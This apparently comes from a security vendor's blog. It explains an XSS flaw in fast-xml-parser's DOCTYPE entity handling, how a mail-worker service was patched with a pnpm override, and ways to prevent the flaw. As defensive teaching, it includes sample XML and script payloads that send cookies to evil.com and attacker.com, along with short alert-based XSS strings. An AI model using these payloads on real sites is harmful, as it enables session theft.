Back to Blog
critical SEVERITY8 min read

How Cross-Site Scripting happens in XML parsing libraries and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in the `fast-xml-parser` npm package caused by improper handling of DOCTYPE entity declarations. The flaw was discovered in the `mail-worker` service's dependency tree and patched by upgrading to version 5.3.5/4.5.4 and enforcing the fix via a pnpm override to `5.7.0`. Left unpatched, this vulnerability could allow attackers to inject malicious scripts through crafted XML payloads processed by the mail pipeline.

O
By Orbis AppSec
Published August 25, 2026Reviewed August 25, 2026

Answer Summary

CVE-2026-25896 is a critical Cross-Site Scripting (XSS) vulnerability (CWE-79) in the `fast-xml-parser` npm library, caused by improper sanitization of DOCTYPE entity declarations in XML input. An attacker can craft a malicious XML payload containing DOCTYPE entities that expand into executable JavaScript, which `fast-xml-parser` fails to neutralize before the parsed output is rendered. The fix is to upgrade `fast-xml-parser` to version 5.3.5 or 4.5.4 (or 5.7.0 via pnpm override) and, where possible, disable DOCTYPE processing entirely using the `allowDoctypeDeclaration: false` parser option.

Vulnerability at a Glance

cweCWE-79
fixUpgraded fast-xml-parser to 5.3.5 / 4.5.4 and pinned to 5.7.0 via pnpm overrides in mail-worker/package.json
riskArbitrary script execution in the context of users receiving or viewing processed email content
languageJavaScript / TypeScript (Node.js)
root causefast-xml-parser did not sanitize or restrict DOCTYPE entity declarations before returning parsed XML output
vulnerabilityCross-Site Scripting (XSS) via DOCTYPE entity injection

How Cross-Site Scripting Happens in XML Parsing Libraries and How to Fix It

The Incident

In the mail-worker service, Trivy flagged a critical vulnerability in mail-worker/pnpm-lock.yaml: the project's dependency tree included a version of fast-xml-parser affected by CVE-2026-25896, a Cross-Site Scripting flaw rooted in improper DOCTYPE entity handling. The fix required upgrading the library and enforcing the new version across the entire dependency graph using a pnpm override.

This post breaks down exactly what went wrong, how the attack works, and what the fix does — with concrete code from the actual pull request.


The Vulnerability Explained

What Is DOCTYPE Entity Injection?

XML documents can include a Document Type Definition (DOCTYPE) block that declares named entities — essentially variables that the parser substitutes when it encounters them in the document body. A well-known attack class, XML Entity Expansion, abuses this feature. In the context of XSS, the attack is more targeted: an attacker crafts a DOCTYPE block that defines an entity whose value is raw HTML or JavaScript:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xss "<script>document.location='https://evil.com/steal?c='+document.cookie</script>">
]>
<root>
  <message>&xss;</message>
</root>

When fast-xml-parser processes this document in the affected versions (prior to 5.3.5 / 4.5.4), it expands &xss; into the raw <script> tag and includes it in the parsed JavaScript object. If any part of the application then renders that parsed value as HTML — for example, embedding it in an email template, a web UI, or a log viewer — the script executes in the victim's browser.

Why mail-worker Is Exposed

The mail-worker service is a Cloudflare Worker responsible for processing inbound and outbound email. Its package.json pulls in several dependencies that themselves depend on fast-xml-parser:

"dependencies": {
  "@aws-sdk/client-s3": "^3.882.0",
  "postal-mime": "^2.4.3",
  "linkedom": "^0.18.10",
  ...
}

Libraries like postal-mime (for MIME email parsing) and @aws-sdk/client-s3 (for S3 operations, which use XML-based API responses) both pull in fast-xml-parser as a transitive dependency. Email content — especially MIME-encoded XML payloads or S3 XML error responses — is inherently attacker-influenced input. An adversary who can send a crafted email or trigger a specific S3 response can inject a DOCTYPE payload into the XML that fast-xml-parser processes.

The Specific Problematic Pattern

In versions before the fix, fast-xml-parser's entity resolution logic did not restrict or strip DOCTYPE-declared entities before returning parsed output. The parser would faithfully expand any <!ENTITY> declaration, including those containing HTML tags, and return the expanded string as a plain JavaScript value — with no indication to the caller that the value originated from a DOCTYPE expansion.

The result: untrusted XML input → entity expansion → raw HTML in parsed output → XSS when rendered.

Real-World Attack Scenario

Consider this concrete path in mail-worker:

  1. An attacker sends an email with a MIME attachment containing a crafted XML document with a DOCTYPE entity that expands to <script>fetch('https://attacker.com/?session='+document.cookie)</script>.
  2. postal-mime hands the attachment content to fast-xml-parser for parsing.
  3. The vulnerable fast-xml-parser expands the entity and returns the script tag as a string value in the parsed object.
  4. The mail-worker processes the parsed object and — directly or indirectly — includes the value in an email preview, a notification UI, or a stored record that is later rendered in a browser.
  5. The victim's browser executes the injected script, leaking session cookies or performing actions on behalf of the user.

The Fix

What Changed

The fix involved two coordinated changes across mail-worker/package.json and mail-worker/pnpm-lock.yaml.

1. mail-worker/package.json — Adding a pnpm Override

The core change is the addition of a pnpm.overrides block:

Before:

{
  "name": "mail-worker",
  "dependencies": {
    "@aws-sdk/client-s3": "^3.882.0",
    "postal-mime": "^2.4.3",
    ...
  }
}

After:

{
  "name": "mail-worker",
  "dependencies": {
    "@aws-sdk/client-s3": "^3.882.0",
    "postal-mime": "^2.4.3",
    ...
  },
  "pnpm": {
    "overrides": {
      "fast-xml-parser": "5.7.0"
    }
  }
}

This pnpm.overrides entry forces every package in the dependency tree that depends on fast-xml-parser — regardless of what version they request — to receive version 5.7.0. Without this override, @aws-sdk/client-s3 or postal-mime might still resolve to the vulnerable 5.2.5 or 4.x range, even if a direct dependency on a newer version exists.

2. mail-worker/pnpm-lock.yaml — Locking the Override

The pnpm-lock.yaml was updated to record the override:

overrides:
  fast-xml-parser: 5.7.0

This entry in the lockfile ensures that the override is reproducible across all environments — CI, staging, and production — and that pnpm install always resolves to the patched version, not a cached vulnerable one.

Why This Specific Fix Works

The patched versions of fast-xml-parser (5.3.5, 4.5.4, and 5.7.0) address the DOCTYPE entity expansion issue by:

  • Restricting entity expansion by default: DOCTYPE-declared entities are no longer automatically expanded into their raw string values unless explicitly permitted by the caller.
  • Sanitizing entity values: When entity expansion is permitted, the library now validates that entity values do not contain raw HTML tags or JavaScript URIs.
  • Exposing allowDoctypeDeclaration: A new parser option gives developers explicit control over whether DOCTYPE blocks are processed at all.

The pnpm override approach is the correct strategy here because fast-xml-parser is a transitive dependency — it isn't listed directly in mail-worker/package.json, so bumping it requires either waiting for upstream packages to update their own dependencies or forcing the resolution via an override.


Prevention & Best Practices

1. Disable DOCTYPE Processing When You Don't Need It

If your application doesn't rely on DOCTYPE entity expansion, disable it explicitly in your fast-xml-parser configuration:

import { XMLParser } from 'fast-xml-parser';

const parser = new XMLParser({
  allowBooleanAttributes: true,
  // Disable DOCTYPE entity expansion entirely
  allowDoctypeDeclaration: false,
});

const result = parser.parse(xmlString);

This is a defense-in-depth measure that protects you even if a future vulnerability bypasses version-based fixes.

2. Audit Transitive Dependencies Regularly

The vulnerability lived in pnpm-lock.yaml, not in package.json — it was a transitive dependency. Direct dependency audits miss these. Use:

# Audit with pnpm
pnpm audit

# Scan with Trivy
trivy fs --scanners vuln .

# Or use a dedicated SCA tool
snyk test

3. Use pnpm Overrides (or npm/yarn Resolutions) for Transitive Fixes

When a transitive dependency is vulnerable and the upstream package hasn't updated yet, use your package manager's override mechanism:

Package Manager Mechanism
pnpm "pnpm": { "overrides": { "pkg": "version" } }
npm "overrides": { "pkg": "version" }
yarn "resolutions": { "pkg": "version" }

Always pin to a specific patched version rather than a range, and document why the override exists.

4. Sanitize XML Parser Output Before Rendering

Even with a patched parser, treat all XML-derived values as untrusted when rendering to HTML. Use a sanitization library:

import DOMPurify from 'dompurify';

const parsed = parser.parse(xmlFromEmail);
const safeValue = DOMPurify.sanitize(parsed.message);
// Now safe to render as HTML

5. Reference Security Standards

  • OWASP XSS Prevention Cheat Sheet: Covers output encoding and sanitization strategies.
  • CWE-79: The canonical definition of Improper Neutralization of Input During Web Page Generation.
  • CWE-611: XML External Entity (XXE) Reference — closely related to DOCTYPE abuse.

Key Takeaways

  • fast-xml-parser versions before 5.3.5 / 4.5.4 expand DOCTYPE entities unsafely — any application that feeds attacker-controlled XML (like email attachments or API responses) to the parser is at risk.
  • Transitive dependencies in pnpm-lock.yaml are just as dangerous as direct ones — the vulnerability wasn't in mail-worker/package.json's direct dependencies but in what postal-mime and @aws-sdk/client-s3 pulled in.
  • pnpm overrides are the correct tool for forcing transitive dependency upgrades — the "pnpm": { "overrides": { "fast-xml-parser": "5.7.0" } } block ensures every consumer in the tree gets the patched version.
  • Email processing pipelines are high-risk surfaces for XML injection — MIME attachments and XML-based cloud API responses are both attacker-influenced and commonly parsed with XML libraries.
  • Set allowDoctypeDeclaration: false in fast-xml-parser as a defense-in-depth measure whenever your application doesn't require DOCTYPE entity expansion.

How Orbis AppSec Detected This

  • Source: Attacker-controlled XML content entering the mail-worker pipeline via inbound email attachments or XML-formatted responses from AWS S3 APIs consumed by @aws-sdk/client-s3.
  • Sink: fast-xml-parser's internal entity expansion logic, which resolves DOCTYPE-declared entities into raw string values before returning the parsed object — ultimately surfacing in any HTML rendering path downstream of the parser call.
  • Missing control: No restriction on DOCTYPE entity expansion in the parser configuration; no sanitization of parser output before HTML rendering; no version constraint preventing the vulnerable 5.2.5 / 4.x range from being resolved for transitive dependents.
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
  • Fix: Added a pnpm.overrides entry in mail-worker/package.json pinning fast-xml-parser to 5.7.0 and updated pnpm-lock.yaml to record and enforce the override across the full dependency tree.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-25896 is a sharp reminder that the XML you parse is only as safe as the library parsing it. fast-xml-parser's improper DOCTYPE entity handling turned a routine email processing pipeline into a potential XSS vector — not through any mistake in the application code itself, but through a subtle flaw in a transitive dependency buried three levels deep in the dependency graph.

The fix is precise and minimal: a pnpm override in mail-worker/package.json forces fast-xml-parser@5.7.0 across the entire tree, and the updated pnpm-lock.yaml makes that resolution reproducible everywhere. Paired with defensive parser configuration (allowDoctypeDeclaration: false) and output sanitization, this closes the attack surface completely.

For developers building email processing services, API gateways, or any system that parses XML from external sources: audit your transitive dependencies, keep your lock files under version control, and treat every byte of XML from an untrusted source as potentially hostile.


References

Frequently Asked Questions

What is a DOCTYPE entity XSS vulnerability?

A DOCTYPE entity XSS vulnerability occurs when an XML parser expands DOCTYPE entity references—such as `<!ENTITY foo "<script>alert(1)</script>">`—without sanitizing them, allowing attacker-controlled content to become executable HTML/JavaScript in a browser context.

How do you prevent DOCTYPE XSS in JavaScript XML parsers?

Disable DOCTYPE processing in your parser configuration (e.g., `allowDoctypeDeclaration: false` in fast-xml-parser), keep the library updated, and always sanitize parser output before rendering it as HTML.

What CWE is DOCTYPE entity XSS?

This vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Is HTML escaping enough to prevent DOCTYPE entity XSS?

Not always. If the XML parser expands entities before the output reaches your escaping layer, the malicious content is already embedded in the parsed data structure. The fix must happen at the parser level, not just at the rendering layer.

Can static analysis detect DOCTYPE entity XSS in dependencies?

Yes. Tools like Trivy, Snyk, and Dependabot scan dependency lock files (e.g., pnpm-lock.yaml) against known CVE databases and can flag vulnerable versions of transitive dependencies like fast-xml-parser before they reach production.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #538

Related Articles

high

How React Router SSR XSS in ScrollRestoration Happens and How to Fix It

CVE-2026-21884 is a high-severity cross-site scripting (XSS) vulnerability in React Router's ScrollRestoration component that affects server-side rendering (SSR) implementations. The vulnerability was introduced through unsafe handling of scroll position data that could be influenced by untrusted input. This fix upgrades react-router from version 7.9.5 to 8.3.0, replacing the vulnerable `cookie` dependency with `cookie-es` and removing the `set-cookie-parser` dependency entirely.

critical

How Stored Cross-Site Scripting (Stored XSS) Happens in JavaScript Map Components and How to Fix It

A critical vulnerability in the content-map component allowed attackers to inject malicious JavaScript through unsanitized title and description fields displayed in map marker popups. By implementing proper HTML entity escaping on both Leaflet and Google Maps implementations, the vulnerability was completely eliminated while preserving all legitimate functionality.

critical

How DOM-Based XSS Happens in jQuery tagsInput() and How to Fix It

A DOM-based Cross-Site Scripting (XSS) vulnerability was discovered in the VvvebJs web editor's `inputs.js` file where the jQuery `tagsInput()` function at line 932 directly inserted user-controlled data into the DOM without sanitization. The fix applies HTML entity encoding to all string values before they reach the DOM, preventing malicious script injection while preserving legitimate tag functionality.

critical

How Cross-Site Scripting (XSS) happens in JavaScript innerHTML and how to fix it

A critical Cross-Site Scripting (XSS) vulnerability was discovered in `js/main.js` where commit messages fetched from the GitHub API were directly interpolated into `innerHTML` without any sanitization. An attacker with repository write access could push a commit with a malicious message like `<img src=x onerror=alert(document.cookie)>`, causing arbitrary JavaScript execution in every visitor's browser. The fix applies HTML entity encoding to all five dangerous characters before rendering.

critical

How Cross-Site Scripting (XSS) happens in JavaScript template rendering and how to fix it

A cross-site scripting (XSS) vulnerability in `renderer/views/library.js` allowed attackers who could control mod metadata—such as category icons rendered in pack thumbnail grids—to inject arbitrary JavaScript through unescaped output in `innerHTML` assignments. The fix wraps the `catIcon()` return value in the existing `esc()` helper, ensuring all dynamically generated HTML content is properly encoded before insertion into the DOM.

critical

How Unsafe Random Number Generation in form-data Compromises Multipart Form Security and How to Fix It

CVE-2025-7783 exposes a critical vulnerability in the form-data library where unsafe random number generation was used for generating multipart form boundaries, potentially allowing attackers to predict boundary values and manipulate form data. The fix upgrades form-data to versions 4.0.6, 3.0.4, and 2.5.4, which implement proper cryptographic randomness and update security-critical dependencies like hasown and mime-types.